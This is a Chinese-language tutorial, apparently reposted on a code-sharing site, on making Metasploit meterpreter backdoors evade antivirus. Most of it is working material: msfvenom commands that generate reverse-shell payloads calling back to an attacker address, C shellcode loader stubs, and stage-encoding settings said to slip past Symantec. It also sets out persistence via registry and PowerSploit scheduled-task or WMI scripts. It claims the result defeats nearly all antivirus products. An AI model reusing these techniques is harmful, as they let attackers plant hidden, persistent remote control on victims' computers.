Bypass AV meterpreter免殺技巧


0x01 meterpreter簡介

MetasploitFramework是一個緩沖區溢出測試使用的輔助工具,也可以說是一個漏洞利用和測試平台,它集成了各種平台上常見的溢出漏洞和流行的shellcode,並且不斷更新,使得緩沖區溢出測試變的方便和簡單。 需要說明的是meterpreter在漏洞利用成功后會發送第二階段的代碼和meterpreter服務器dll,所以在網絡不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之后發現缺少命令,經常出現什么sending stager error,如果網絡真的很差的話,可以選用stageless meterpreter。

(meterpreter網上的資料很多,drops上就有不少,我們就長話短說,介紹最有用的幾個。)

0x02 生成后門

在舊的metasploit中,生成payload是用msfpayload+msfencode,之后rapid7整合了這兩個命令變成了msfvenom,並添加了更多的功能,下面是用msfvenom生成backdoor的實例。

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe

這樣可以生成一個使用tcp協議反向連接到192.168.1.200的4444端口的meterpreter的后門。 這樣生成的exe可以運行,但是會被殺掉。

0x03 生成shellcode免殺

長話短說,手動編譯meterpreter並對shellcode進行編碼就能繞過靜態查殺,meterpreter本身就是直接加載進內存並且有編碼,繞過動態查殺基本沒問題,(當然你也可以使用veil-evasion,不過效果不怎么好)

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.200 lport=4444   -f c

上述命令生成在之前的基礎上生成基於c語言格式的shellcode,通過e參數指定編碼方式,i參數指定編碼次數,b參數去除指定代碼,一般是空代碼或者錯誤代碼,-f指定生成格式。

unsigned char buf[] = 
"shellcode is here";
main()
{
	( (void(*)(void))&buf)();
}

這種方式vc++6.0能夠成功編譯,但是vs編譯會報錯,可以換成

main()
{
	Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buf, sizeof(buf));
	((void(*)())Memory)();
}

還有很多其他的方法,這里就不一一測試了。

友情提示:在實戰情況下,免殺效果會根據編譯器和系統環境而變化,可以多准備一些環境進行免殺工作。

通過上述方法編譯生成的exe可以繞過幾乎100%殺軟,包括360,卡巴斯基,小紅傘等殺軟。

0x04 選擇payload進行免殺

上面生成shellcode的方式是針對殺軟靜態免殺的,接下來說到動態行為免殺。

在對市面上主流的殺軟進行測試的過程中,發現symantec會在meterpreter回連成功,從metasploit里接受數據的時候報毒。

無論是自己手動編碼編譯還是msf自動生成的exe都會這樣被報毒。

經過筆者自己測試,使用reverse_https等payload可以anti symantec。

msfvenom -p  windows/meterpreter/reverse_https  lhost=192.168.1.200 lport=443   -f c

但是需要在metasploit設置

set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false

將控制端向被控制端發送的stage進行編碼,從而繞過symantec的查殺。

同樣,使用reverse_tcp_rc4也有同樣的效果,而且不能設置stageencoder選項,更穩定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m  -f c

利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。就可以在symantec眼皮地下執行meterpreter。

這里做一個拋磚引玉的作用,其他payload的查殺效果需要各大黑客自己去測試。

0x05 meterpreter常駐的免殺

常見的添加meterpreter 常駐的方法無非兩種,

persistence和metsvc,這兩種方法效果還是不錯的,不過在面對殺軟的時候無能為力,幾乎100%被殺。

下面介紹幾種能繞過殺軟的添加自啟動方法。

  • 1.使用exploit/windows/local/registry_persistence

通過用戶自己指定payload及編碼方式,將shellcode添加到注冊表,然后再利用powershell加載該shellcode,成功運行meterpreter。

由於加載的payload是由metasploit指定,每次都不一定一樣,這個方法在面對大部分主流AV的時候簡直強大,只要不監視注冊表操作不限制powershell,幾乎不會被殺。

同類型的還有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence,有的效果也不錯,如添加計划任務啟動的功能,但或多或少都有一些限制,總體說來不如上面講到的方法。

  • 2.利用powershell

powershell因為其特性,被很多殺毒軟件直接忽視,因此用這個方法經常能達到出其不意的效果

其實這個方式和第一種原理都是一樣,不過自定義的powershell腳本效果更佳。

這里可以利用一個工具powersploit,下面用它來示范一個簡單的例子。

Import-Module .\Persistence\Persistence.psm1

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle

$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly

Add-Persistence -FilePath .\Green_m.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

其中Green_m.ps1是加載有payload的powershell腳本文件,你可以用msf生成一個加載meterpreter的ps1文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f psh-reflection -o Green_m.ps1

當然你也可以選擇不執行powershell文件而直接執行某個PE文件,可以通過將代碼賦予變量來執行。

$Green_m = { c:\windows\system32\notepad.exe }

$ElevatedOptions =New-ElevatedPersistenceOption -PermanentWMI -AtStartup
$UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -ScriptBlock $Green_m -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $Us erOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

powersploit還有其他非常有用的功能,有興趣可以自己去github或者使用get-help查詢。

  • 3.手動編寫

只要是工具用得太多都難免被AV發現,這個時候就需要手動編寫自啟動功能。

手動添加自啟動,自刪除,再改個圖標后綴技能騙過殺軟也能騙過人眼,擴展一下就是個大馬,這里就不多說了。

0x06 總結

meterpreter因為其簡單多變的結構,強大的功能,在滲透中面對未知殺軟環境的情況下效果不錯


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM